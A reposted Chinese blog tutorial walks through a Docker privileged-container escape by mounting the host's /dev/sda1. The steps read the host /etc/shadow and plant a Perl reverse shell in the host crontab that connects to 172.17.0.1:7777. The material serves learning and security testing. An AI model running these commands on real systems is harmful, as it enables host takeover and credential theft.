自学内容网 自学内容网

【容器逃逸实践】挂载/dev方法

0、前置知识

  1. 怎么在容器里面执行命令, 有几种方法
# 不进入容器,创建并启动一个新的容器
$ docker run -itd --name ubuntu-test ubuntu /bin/bash  
# 进入容器,创建并启动一个新的容器
$ docker run -itd --name ubuntu-test ubuntu /bin/bash 
# 先启动容器
$ docker start b750bbbcfd88 
# 如果从这个容器退出,容器不会停止
$ docker exec -it b750bbbcfd88 /bin/bash 
# 如果从这个容器退出,会导致容器的停止
$ docker attach b750bbbcfd88  
  1. 如何查看容器的IP地址等信息
[root@bf1465ba82c7 /] ip addr
$ docker inspect bf1465ba82c7
# 查看容器IP
$ docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' bf1465ba82c7
  1. 如何查看容器启动的日志
 docker logs bf1465ba82c7  

一、Privileged特权模式导致容器逃逸

通过配置–privileged参数可以让docker以特权模式启动,当容器以特权模式启动时,docker容器可以访问主机上的所有设备,且有mount命令挂载权限。因为特权模式权限过大,从而导致了逃逸的风险,一般存在两种手法:挂载/dev、重写devices_allow,下面只介绍挂载/dev方法。

  1. 特权模式下挂载 /dev

(1)使用 –privileged=true 创建一个特权容器centos-1120:

$ docker run -idt --privileged=true --name centos-1120 centos /bin/bash

ec9a97266e5c8fd74260ac47b33014957a229f6563b6e34eece43b3c81fdd788

(2) 进入容器

docker exec -it centos-1120 bash

(3)查看挂载磁盘设备,并将宿主机文件挂载到 /test 目录下

进一步理解:将宿主机的一个分区(存储设备 /dev/sda1挂载到宿主机的 /test目录下,从而使 /test目录作为该分区的入口点访问文件:

$ fdisk -l  # 查看挂载磁盘设备
$ mkdir /test && mount /dev/sda1 /test #将宿主机文件挂载到 /test 目录下

(4)敏感文件访问

尝试访问宿主机 shadow 文件,cat /test/etc/shadow,可以竟然可以从容器正常访问宿主机的敏感文件:

cat /test/etc/shadow

(5)反弹shell

在定时任务中写入反弹 shell:

1)首先,你需要查看你的主机IP:ifconfig,这里写docker的网卡地址

2)在容器执行以下命令

$ echo '*/1 * * * * root perl -e '\''use Socket;$i="172.17.0.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\''' >> /test/etc/crontab

3)查看宿主机是否写入定时任务cat /etc/crontab

4)在宿主机监听端口,查看是否有信息nc -lvvp 7777

逃逸成功!


原文地址:https://blog.csdn.net/weixin_40433003/article/details/145144246

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!